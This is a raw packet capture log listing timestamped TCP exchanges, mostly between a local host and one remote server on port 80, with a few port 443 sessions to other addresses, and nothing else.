Nov 16, 2024 19:22:29.011035919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.011063099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.011080980 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.011090994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.011101961 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.011122942 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.011137962 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.011154890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.011159897 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.011187077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.011219978 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.011253119 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.011266947 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.011285067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.011286020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.011337996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.011370897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.011492014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.043407917 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.043453932 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.043478012 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.043493986 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.043533087 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.043615103 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.090632915 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.095736980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.133008003 CET	443	49814	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:29.133363962 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:29.133400917 CET	443	49814	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:29.133958101 CET	443	49814	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:29.134028912 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:29.135080099 CET	443	49814	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:29.135173082 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:29.136379004 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:29.136496067 CET	443	49814	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:29.136516094 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:29.136517048 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:29.136560917 CET	443	49814	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:29.153424978 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:29.153461933 CET	443	49820	13.69.116.109	192.168.2.5
Nov 16, 2024 19:22:29.153659105 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:29.153759003 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:29.153770924 CET	443	49820	13.69.116.109	192.168.2.5
Nov 16, 2024 19:22:29.178237915 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.178288937 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.178328037 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.178375006 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.178407907 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.178488970 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.179687023 CET	49821	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:29.179701090 CET	443	49821	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:29.179853916 CET	49821	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:29.180170059 CET	49821	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:29.180181980 CET	443	49821	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:29.206326962 CET	49822	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:29.206382036 CET	443	49822	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:29.206455946 CET	49822	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:29.206646919 CET	49822	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:29.206667900 CET	443	49822	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:29.208969116 CET	49823	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:29.208991051 CET	443	49823	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:29.209060907 CET	49823	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:29.209207058 CET	49823	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:29.209214926 CET	443	49823	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:29.279083014 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.279133081 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.279166937 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.279187918 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.279220104 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.279731035 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.302850008 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:29.302897930 CET	443	49814	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:29.303780079 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:29.303868055 CET	443	49814	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:29.303930044 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:29.373115063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373131037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373150110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373162031 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373174906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373183966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373238087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373245001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373255968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373267889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373290062 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373307943 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373342037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373352051 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373363972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373373032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373383045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373394966 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373394012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373394012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373424053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373450994 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373462915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373473883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373483896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373493910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373508930 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373518944 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373543978 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373578072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373588085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373599052 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373610973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373622894 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373650074 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373727083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373738050 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373748064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373758078 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373769045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373774052 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373780012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373785973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373790026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373800993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373812914 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373835087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373939037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373950005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373960972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373970985 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373982906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.373984098 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.373994112 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374001980 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.374026060 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.374094963 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374106884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374116898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374125957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374130011 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.374136925 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374150038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374159098 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.374187946 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.374373913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374387026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374397039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374408960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374419928 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374428034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.374429941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374440908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374447107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.374450922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374461889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374465942 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.374473095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374483109 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374491930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374500036 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.374502897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.374521017 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.374542952 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375256062 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375272989 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375283003 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375293016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375303030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375319958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375325918 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375334024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375349998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375360012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375360966 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375370979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375381947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375390053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375391960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375427008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375451088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375456095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375466108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375474930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375487089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375493050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375497103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375508070 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375552893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375575066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375583887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375593901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375605106 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375612974 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375616074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375627041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375641108 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375675917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375818968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375829935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375840902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375850916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375863075 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.375863075 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.375901937 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.376470089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376488924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376501083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376534939 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.376568079 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.376599073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376611948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376621962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376632929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376652002 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.376673937 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.376724005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376735926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376765013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.376786947 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.376889944 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376902103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376913071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376924038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376933098 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.376935005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376945972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376950026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.376956940 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.376983881 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377000093 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377186060 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377197027 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377207041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377218008 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377228022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377235889 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377238989 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377249956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377259970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377270937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377280951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377284050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377291918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377295971 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377302885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377312899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377325058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377325058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377341986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377356052 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377372026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377392054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377538919 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377552032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377588987 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377816916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377835035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377849102 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377851963 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377863884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377868891 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377878904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377892971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377898932 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377907991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377912045 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377923012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377937078 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377943039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377950907 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377965927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377980947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.377988100 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377988100 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.377995014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378009081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378017902 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378022909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378036976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378042936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378052950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378063917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378099918 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378324032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378339052 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378354073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378371000 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378397942 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378470898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378485918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378501892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378515005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378520012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378530979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378552914 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378583908 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378613949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378628969 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378643036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378653049 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378657103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378670931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378674030 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378683090 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.378690004 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.378720999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.397995949 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.398062944 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.398103952 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.398119926 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.398155928 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.398176908 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.506158113 CET	443	49815	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.513613939 CET	49815	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.513633966 CET	443	49815	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.516736984 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.516796112 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.516828060 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.516844034 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.516891956 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.516913891 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.524010897 CET	49815	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.524019003 CET	443	49815	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.528172016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528208017 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528264046 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.528279066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528294086 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.528312922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528321981 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.528359890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528363943 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.528398037 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.528589964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528631926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528676033 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.528681993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528713942 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528748035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528759956 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.528781891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528790951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.528815031 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528858900 CET	49770	80	192.168.2.5	185.215.113.206
